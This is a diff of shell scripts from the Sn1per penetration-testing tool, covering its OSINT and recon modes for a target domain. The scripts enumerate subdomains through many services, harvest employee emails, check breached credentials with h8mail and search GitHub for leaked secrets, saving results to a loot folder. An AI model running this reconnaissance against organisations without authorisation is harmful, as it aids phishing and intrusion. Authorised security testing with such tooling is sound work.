echo -e "$OKRED COLLECTING OSINT FROM URLSCAN.IO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl --insecure -L -s "https://urlscan.io/api/v1/search/?q=domain:$TARGET" 2> /dev/null | egrep "country|server|domain|ip|asn|$TARGET|prt"| sort -u | tee $LOOT_DIR/osint/urlscanio-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HUNTERIO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS VIA HUNTER.IO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s "https://api.hunter.io/v2/domain-search?domain=$TARGET&api_key=$HUNTERIO_KEY" | egrep "name|value|domain|company|uri|position|phone" 2> /dev/null | tee $LOOT_DIR/osint/hunterio-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$TOMBAIO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS VIA TOMBA.IO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -H "X-Tomba-Key: $TOMBAIO_KEY" -H "X-Tomba-Secret: $TOMBAIO_SECRET" -s "https://api.tomba.io/v1/domain-search?domain=$TARGET" | egrep "email|organization|uri|position|phone" 2> /dev/null | tee $LOOT_DIR/osint/tombaio$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS VIA METASPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -x "use auxiliary/gather/search_email_collector; set DOMAIN $TARGET; run; exit y" | tee $LOOT_DIR/osint/msf-emails-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$H8MAIL" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR COMPROMISED CREDENTIALS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
h8mail -q domain --target $TARGET -o $LOOT_DIR/osint/h8mail-$TARGET.csv 2> /dev/null
|
||||
fi
|
||||
if [[ "$GITHUB_SECRETS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR GITHUB SECRETS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $INSTALL_DIR/plugins/gitGraber/
|
||||
ORGANIZATION=$(echo $TARGET | awk -F. '{print $(NF-1)}' 2> /dev/null)
|
||||
mv $LOOT_DIR/osint/github-urls-$ORGANIZATION.txt $LOOT_DIR/osint/github-urls-$ORGANIZATION.old 2> /dev/null
|
||||
mv -f rawGitUrls.txt $LOOT_DIR/osint/github-urls-$ORGANIZATION.txt 2> /dev/null
|
||||
touch rawGitUrls.txt 2> /dev/null
|
||||
python3 gitGraber.py -q "\"org:$ORGANIZATION\"" -s 2>&1 | tee $LOOT_DIR/osint/gitGrabber-$ORGANIZATION.txt 2> /dev/null
|
||||
diff $LOOT_DIR/osint/github-urls-$ORGANIZATION.txt $LOOT_DIR/osint/github-urls-$ORGANIZATION.old 2> /dev/null > $LOOT_DIR/osint/github-urls-$ORGANIZATION.diff
|
||||
cat $LOOT_DIR/osint/github-urls-$ORGANIZATION.diff 2> /dev/null
|
||||
#python3 gitGraber.py -k wordlists/keywords.txt -q "\"$TARGET\"" -s 2>&1 | tee $LOOT_DIR/osint/gitGrabber-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,24 +1,26 @@
|
|||
if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then
|
||||
if [ $OSINT == "0" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED SKIPPING OSINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
else
|
||||
if [ $GOOHAK = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
goohak $TARGET > /dev/null
|
||||
fi
|
||||
if [ $INURLBR = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET | tee $LOOT_DIR/osint/inurlbr-$TARGET
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/osint/inurlbr-$TARGET > $LOOT_DIR/osint/inurlbr-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/osint/inurlbr-$TARGET
|
||||
rm -Rf output/ cookie.txt exploits.conf
|
||||
fi
|
||||
GHDB="1"
|
||||
if [[ $SCAN_TYPE == "DOMAIN" ]] && [[ $OSINT == "1" ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ $GOOHAK = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
goohak $TARGET > /dev/null
|
||||
fi
|
||||
if [[ $INURLBR = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
php /usr/share/sniper/bin/inurlbr.php --dork "site:$TARGET" -s inurlbr-$TARGET | tee $LOOT_DIR/osint/inurlbr-$TARGET
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/osint/inurlbr-$TARGET > $LOOT_DIR/osint/inurlbr-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/osint/inurlbr-$TARGET
|
||||
rm -Rf output/ cookie.txt exploits.conf
|
||||
fi
|
||||
GHDB="1"
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
320
modes/recon.sh
320
modes/recon.sh
|
|
@ -1,107 +1,263 @@
|
|||
if [ "$RECON" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$SUBLIST3R" = "1" ]; then
|
||||
python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null
|
||||
if [[ "$RECON" = "1" ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per recon scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per recon scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [ "$AMASS" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
|
||||
touch $LOOT_DIR/domains/domains_old-$TARGET.txt 2> /dev/null
|
||||
cp $LOOT_DIR/domains/domains-$TARGET-full.txt $LOOT_DIR/domains/domains_old-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ "$SUBLIST3R" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 /usr/share/sniper/plugins/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null > /dev/null
|
||||
sed -ie 's/<BR>/\n/g' domains-$TARGET-full.txt 2> /dev/null
|
||||
mv -f $LOOT_DIR/domains/domains-$TARGET.txte $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$AMASS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
amass -ip -brute -active -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -min-for-recursive 3 -d $TARGET 2>/dev/null
|
||||
cut -d, -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt
|
||||
cut -d, -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null > $LOOT_DIR/domains/domains-$TARGET-amass-ips-sorted.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
amass enum -ip -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -rf /usr/share/sniper/plugins/massdns/lists/resolvers.txt -d $TARGET 2>/dev/null > /dev/null
|
||||
cut -d" " -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt
|
||||
cut -d" " -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null > $LOOT_DIR/ips/amass-ips-$TARGET.txt
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt
|
||||
wc -l $LOOT_DIR/ips/amass-ips-$TARGET.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING REVERSE WHOIS DNS SUBDOMAINS VIA AMASS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
amass intel -whois -d $TARGET > $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null
|
||||
fi
|
||||
if [ "$SUBFINDER" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER (THIS COULD TAKE A WHILE...) $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -d $TARGET -w $DOMAINS_DEFAULT -t 100 2>/dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$DNSCAN" = "1" ]; then
|
||||
python $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_QUICK -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt
|
||||
if [[ "$SUBFINDER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER $RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Running: subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -d $TARGET -t 100 $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -d $TARGET -nW -rL /sniper/wordlists/resolvers.txt -t $THREADS 2>/dev/null > /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-subfinder.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$DNSCAN" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_QUICK -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt
|
||||
cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt 2>/dev/null | grep $TARGET| awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null
|
||||
sed -ie 's/<BR>/\n/g' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
mv -f $LOOT_DIR/domains/domains-$TARGET.txte $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
echo ""
|
||||
if [ "$CRTSH" = "1" ]; then
|
||||
if [[ "$CRTSH" = "1" ]]; then
|
||||
echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET"
|
||||
echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET"
|
||||
echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$RESET"
|
||||
curl -s https://crt.sh/?q=%25.$TARGET > $LOOT_DIR/domains/domains-$TARGET-presorted.txt
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt | grep $TARGET | grep TD | sed -e 's/<//g' | sed -e 's/>//g' | sed -e 's/TD//g' | sed -e 's/BR/\n/g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null
|
||||
echo ""
|
||||
echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-crt.txt"
|
||||
fi
|
||||
if [[ "$SPYSE" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SPYSE SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKBLUE"
|
||||
curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's/<//g' | sed -e 's/>//g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt
|
||||
echo ""
|
||||
echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt"
|
||||
spyse -target $TARGET --subdomains | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-spyse.txt
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-spyse.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if [ "$CENSYS_SUBDOMAINS" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$CENSYS_SUBDOMAINS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING CENSYS SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python $PLUGINS_DIR/censys-subdomain-finder/censys_subdomain_finder.py --censys-api-id $CENSYS_APP_ID --censys-api-secret $CENSYS_API_SECRET $TARGET | egrep "\-" | awk '{print $2}' | tee $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/censys-subdomain-finder/censys_subdomain_finder.py --censys-api-id $CENSYS_APP_ID --censys-api-secret $CENSYS_API_SECRET $TARGET | egrep "\-" | awk '{print $2}' | egrep -v "Searching|Found" > $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if [ "$PROJECT_SONAR" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$SHODAN" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SHODAN SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
shodan init $SHODAN_API_KEY
|
||||
shodan search "hostname:*.$TARGET" > $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null
|
||||
awk '{print $3}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null | grep -v "\;" > $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2> /dev/null
|
||||
awk '{print $1}' $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$PROJECT_SONAR" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING PROJECT SONAR SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -fsSL "https://dns.bufferover.run/dns?q=.$TARGET" | sed 's/\"//g' | cut -f2 -d "," |sort -u | grep $TARGET | tee $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -fsSL "https://dns.bufferover.run/dns?q=.$TARGET" | sed 's/\"//g' | cut -f2 -d "," | grep -v "<BR>" | sort -u | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GITHUB_SUBDOMAINS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING GITHUB SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 /usr/share/sniper/bin/github-subdomains.py -t $GITHUB_API_TOKEN -d $TARGET $LOOT_DIR/domains/domains-$TARGET-github.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$RAPIDDNS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING RAPIDDNS SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s "https://rapiddns.io/subdomain/$TARGET?full=1&down=1#exportData()" | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep "$TARGET" | cut -d\/ -f3 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt 2> /dev/null
|
||||
fi
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-spyse.txt /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2>/dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-github.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/targets.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null
|
||||
sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null | grep -v "*" | grep -v "?" 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted-nowildcards.txt
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
|
||||
if [[ "$SUBBRUTE_DNS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SUBBRUTE SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 "$INSTALL_DIR/plugins/massdns/scripts/subbrute.py" $INSTALL_DIR/wordlists/domains-all.txt $TARGET 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-subbrute.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-subbrute.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$ALT_DNS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING ALTDNS SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" > /tmp/domain 2> /dev/null
|
||||
altdns -i /tmp/domain -w $INSTALL_DIR/wordlists/altdns.txt -o $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-altdns.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$DNSGEN" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNSGEN SUBDOMAINS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
dnsgen /tmp/domain > $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains-$TARGET-dnsgen.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$MASS_DNS" = "1" ]]; then
|
||||
